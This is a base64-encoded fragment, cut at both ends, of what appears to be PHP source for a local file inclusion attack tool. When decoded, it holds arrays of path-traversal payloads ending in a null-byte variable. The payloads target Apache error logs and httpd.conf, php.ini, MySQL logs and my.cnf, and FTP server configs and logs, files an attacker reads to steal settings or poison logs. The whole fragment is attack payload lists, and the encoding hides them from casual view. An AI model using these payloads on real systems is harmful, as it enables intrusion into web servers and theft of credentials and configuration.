uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvaHR0cGQvbG9ncy9lcnJvcl9sb2ciLiRieXRlMS4iIiwNCiAgICAgICAgICAgICAgICAzID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvaHR0cGQvbG9ncy9lcnJvci5sb2ciLiRieXRlMS4iIiwNCiAgICAgICAgICAgICAgICA0ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvd3d3L2xvZ3MvZXJyb3JfbG9nIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAgICAgNSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL3d3dy9sb2dzL2Vycm9yLmxvZyIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgICAgIDYgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9lcnJvcl9sb2ciLiRieXRlMS4iIiwNCiAgICAgICAgICAgICAgICA3ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvZXJyb3IubG9nIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAgICAgOCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9hcGFjaGUvZXJyb3JfbG9nIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAgICAgOSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9hcGFjaGUyL2Vycm9yX2xvZyIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgICAgIDEwID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL2FwYWNoZS9lcnJvci5sb2ciLiRieXRlMS4iIiwNCiAgICAgICAgICAgICAgICAxMSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9hcGFjaGUyL2Vycm9yLmxvZyIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgICAgIDEyID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL2Vycm9yX2xvZyIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgICAgIDEzID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL2Vycm9yLmxvZyIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgICAgIDE0ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL2h0dHBkL2Vycm9yX2xvZyIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgICAgIDE1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9hcGFjaGUyL2xvZ3MvZXJyb3IubG9nIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAgICAgMTYgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2xvZ3MvZXJyb3IubG9nIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAgICAgMTcgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9hcGFjaGUyL2xvZ3MvZXJyb3JfbG9nIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAgICAgMTggPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9hcGFjaGUyL2xvZ3MvZXJyb3IubG9nIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAgICAgMTkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvaHR0cGQvZXJyb3IubG9nIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAgICAgMjAgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL29wdC9sYW1wcC9sb2dzL2Vycm9yX2xvZyIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgICAgIDIxID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9vcHQveGFtcHAvbG9ncy9lcnJvcl9sb2ciLiRieXRlMS4iIiwNCiAgICAgICAgICAgICAgICAyMiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vb3B0L2xhbXBwL2xvZ3MvZXJyb3IubG9nIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAgICAgMjMgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL29wdC94YW1wcC9sb2dzL2Vycm9yLmxvZyIuJGJ5dGUxLiIiKTsNCiAgICAgDQogICAgICAgICAgICAgJGxmaWNvbmZpZyA9IGFycmF5KA0KICAgICAgICAgICAgICAgIDEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9hcGFjaGUvY29uZi9odHRwZC5jb25mIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAgICAgMiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2FwYWNoZTIvY29uZi9odHRwZC5jb25mIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAgICAgMyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL2h0dHBkL2NvbmYvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgICAgIDQgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9hcGFjaGUvY29uZi9odHRwZC5jb25mIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAgICAgNSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2V0Yy9hcGFjaGUvY29uZi9odHRwZC5jb25mIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAgICAgNiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL2FwYWNoZTIvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgICAgIDcgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9hcGFjaGUvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgICAgIDggPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9hcGFjaGUyL2h0dHBkLmNvbmYiLiRieXRlMS4iIiwNCiAgICAgICAgICAgICAgICA5ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvaHR0cGQvY29uZi9odHRwZC5jb25mIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAgICAgMTAgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9ldGMvYXBhY2hlMi9jb25mL2h0dHBkLmNvbmYiLiRieXRlMS4iIiwNCiAgICAgICAgICAgICAgICAxMSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2V0Yy9odHRwZC9jb25mL2h0dHBkLmNvbmYiLiRieXRlMS4iIiwNCiAgICAgICAgICAgICAgICAxMiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2FwYWNoZTIvY29uZi9odHRwZC5jb25mIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAgICAgMTMgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9hcGFjaGUvY29uZi9odHRwZC5jb25mIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAgICAgMTQgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9hcHBzL2FwYWNoZTIvY29uZi9odHRwZC5jb25mIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAgICAgMTUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9hcHBzL2FwYWNoZS9jb25mL2h0dHBkLmNvbmYiLiRieXRlMS4iIiwNCiAgICAgICAgICAgICAgICAxNiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL2FwYWNoZTIvY29uZi9odHRwZC5jb25mIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAgICAgMTcgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9odHRwL2NvbmYvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgICAgIDE4ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvaHR0cGQvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgICAgIDE5ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvaHR0cC9odHRwZC5jb25mIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAgICAgMjAgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9odHRwZC5jb25mIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAgICAgMjEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL29wdC9hcGFjaGUvY29uZi9odHRwZC5jb25mIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAgICAgMjIgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL29wdC9hcGFjaGUyL2NvbmYvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgICAgIDIzID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvd3d3L2NvbmYvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgICAgIDI0ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9wcml2YXRlL2V0Yy9odHRwZC9odHRwZC5jb25mIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAgICAgMjUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3ByaXZhdGUvZXRjL2h0dHBkL2h0dHBkLmNvbmYuZGVmYXVsdCIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgICAgIDI2ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9Wb2x1bWVzL3dlYkJhY2t1cC9vcHQvYXBhY2hlMi9jb25mL2h0dHBkLmNvbmYiLiRieXRlMS4iIiwNCiAgICAgICAgICAgICAgICAyNyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vVm9sdW1lcy93ZWJCYWNrdXAvcHJpdmF0ZS9ldGMvaHR0cGQvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgICAgIDI4ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9Wb2x1bWVzL3dlYkJhY2t1cC9wcml2YXRlL2V0Yy9odHRwZC9odHRwZC5jb25mLmRlZmF1bHQiLiRieXRlMS4iIiwNCiAgICAgICAgICAgICAgICAyOSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL3BocC9odHRwZC5jb25mLnBocCIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgICAgIDMwID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvcGhwNC9odHRwZC5jb25mLnBocCIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgICAgIDMxID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvcGhwNS9odHRwZC5jb25mLnBocCIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgICAgIDMyID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvcGhwL2h0dHBkLmNvbmYiLiRieXRlMS4iIiwNCiAgICAgICAgICAgICAgICAzMyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL3BocDQvaHR0cGQuY29uZiIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgICAgIDM0ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvcGhwNS9odHRwZC5jb25mIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAgICAgMzUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9ldGMvYXBhY2hlL3Zob3N0cy5jb25mIi4kYnl0ZTEuIiIpOw0KICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAkbGZpcGhwaW5pID0gYXJyYXkoDQogICAgICAgICAgICAgICAgMSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3BocC5pbmkiLiRieXRlMS4iIiwNCiAgICAgICAgICAgICAgICAyID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9iaW4vcGhwLmluaSIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgICAgIDMgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9odHRwZC9waHAuaW5pIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAgICAgNCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xpYi9waHAuaW5pIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAgICAgNSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xpYi9waHAvcGhwLmluaSIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgICAgIDYgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9ldGMvcGhwLmluaSIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgICAgIDcgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9saWIvcGhwLmluaSIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgICAgIDggPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Vzci9sb2NhbC9waHAvbGliL3BocC5pbmkiLiRieXRlMS4iIiwNCiAgICAgICAgICAgICAgICA5ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvcGhwNC9saWIvcGhwLmluaSIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgICAgIDEwID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvcGhwNS9saWIvcGhwLmluaSIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgICAgIDExID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi91c3IvbG9jYWwvYXBhY2hlL2NvbmYvcGhwLmluaSIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgICAgIDEyID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcGhwNC40L2ZjZ2kvcGhwLmluaSIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgICAgIDEzID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcGhwNC9hcGFjaGUvcGhwLmluaSIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgICAgIDE0ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcGhwNC9hcGFjaGUyL3BocC5pbmkiLiRieXRlMS4iIiwNCiAgICAgICAgICAgICAgICAxNSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3BocDUvYXBhY2hlL3BocC5pbmkiLiRieXRlMS4iIiwNCiAgICAgICAgICAgICAgICAxNiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3BocDUvYXBhY2hlMi9waHAuaW5pIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAgICAgMTcgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9waHAvcGhwLmluaSIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgICAgIDE4ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcGhwL3BocDQvcGhwLmluaSIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgICAgIDE5ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcGhwL2FwYWNoZS9waHAuaW5pIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAgICAgMjAgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9waHAvYXBhY2hlMi9waHAuaW5pIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAgICAgMjEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3dlYi9jb25mL3BocC5pbmkiLiRieXRlMS4iIiwNCiAgICAgICAgICAgICAgICAyMiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL1plbmQvZXRjL3BocC5pbmkiLiRieXRlMS4iIiwNCiAgICAgICAgICAgICAgICAyMyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vb3B0L3hhbXBwL2V0Yy9waHAuaW5pIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAgICAgMjQgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2NhbC93d3cvY29uZi9waHAuaW5pIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAgICAgMjUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9waHAvY2dpL3BocC5pbmkiLiRieXRlMS4iIiwNCiAgICAgICAgICAgICAgICAyNiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3BocDQvY2dpL3BocC5pbmkiLiRieXRlMS4iIiwNCiAgICAgICAgICAgICAgICAyNyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3BocDUvY2dpL3BocC5pbmkiLiRieXRlMS4iIik7DQogICAgICAgICAgIA0KICAgICAgICAgICAgICAkbGZpbXlzcWwgPSBhcnJheSgNCiAgICAgICAgICAgICAgICAxID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL215c3FsL215c3FsLWJpbi5sb2ciLiRieXRlMS4iIiwNCiAgICAgICAgICAgICAgICAyID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL215c3FsLmxvZyIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgICAgIDMgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvbXlzcWxkZXJyb3IubG9nIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAgICAgNCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9teXNxbC9teXNxbC5sb2ciLiRieXRlMS4iIiwNCiAgICAgICAgICAgICAgICA1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL215c3FsL215c3FsLXNsb3cubG9nIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAgICAgNiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL215c3FsLmxvZyIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgICAgIDcgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9saWIvbXlzcWwvbXkuY25mIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAgICAgOCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL215c3FsL215LmNuZiIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgICAgIDkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Zhci9sb2cvbXlzcWxkLmxvZyIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgICAgIDEwID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvbXkuY25mIi4kYnl0ZTEuIiIpOw0KICAgICAgICAgICANCiAgICAgICAgICAgICAgJGxmaWZ0cCA9IGFycmF5KA0KICAgICAgICAgICAgICAgIDEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9sb2dyb3RhdGUuZC9wcm9mdHBkIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAgICAgMiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vd3d3L2xvZ3MvcHJvZnRwZC5zeXN0ZW0ubG9nIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAgICAgMyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2xvZy9wcm9mdHBkIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAgICAgNCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Byb2Z0cC5jb25mIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAgICAgNSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Byb3RwZC9wcm9mdHBkLmNvbmYiLiRieXRlMS4iIiwNCiAgICAgICAgICAgICAgICA2ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvdmhjczIvcHJvZnRwZC9wcm9mdHBkLmNvbmYiLiRieXRlMS4iIiwNCiAgICAgICAgICAgICAgICA3ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvcHJvZnRwZC9tb2R1bGVzLmNvbmYiLiRieXRlMS4iIiwNCiAgICAgICAgICAgICAgICA4ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL3ZzZnRwZC5sb2ciLiRieXRlMS4iIiwNCiAgICAgICAgICAgICAgICA5ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvdnNmdHBkLmNocm9vdF9saXN0Ii4kYnl0ZTEuIiIsDQogICAgICAgICAgICAgICAgMTAgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9sb2dyb3RhdGUuZC92c2Z0cGQubG9nIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAgICAgMTEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy92c2Z0cGQvdnNmdHBkLmNvbmYiLiRieXRlMS4iIiwNCiAgICAgICAgICAgICAgICAxMiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3ZzZnRwZC5jb25mIi4kYnl0ZTEuIiIsDQogICAgICAgICAgICAgICAgMTMgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9jaHJvb3RVc2VycyIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgICAgIDE0ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvbG9nL3hmZXJsb2ciLiRieXRlMS4iIiwNCiAgICAgICAgICAgICAgICAxNSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL2FkbS9sb2cveGZlcmxvZyIuJGJ5dGUxLiIiLA0KICAgICAgICAgICAgICAgIDE2ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9ldGMvd3UtZnRwZC9mdHBhY2Nlc3MiLiRieXRlMS4iIiwNCiAgICAgICAgICAgICAgICAxNyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3d1LWZ0cG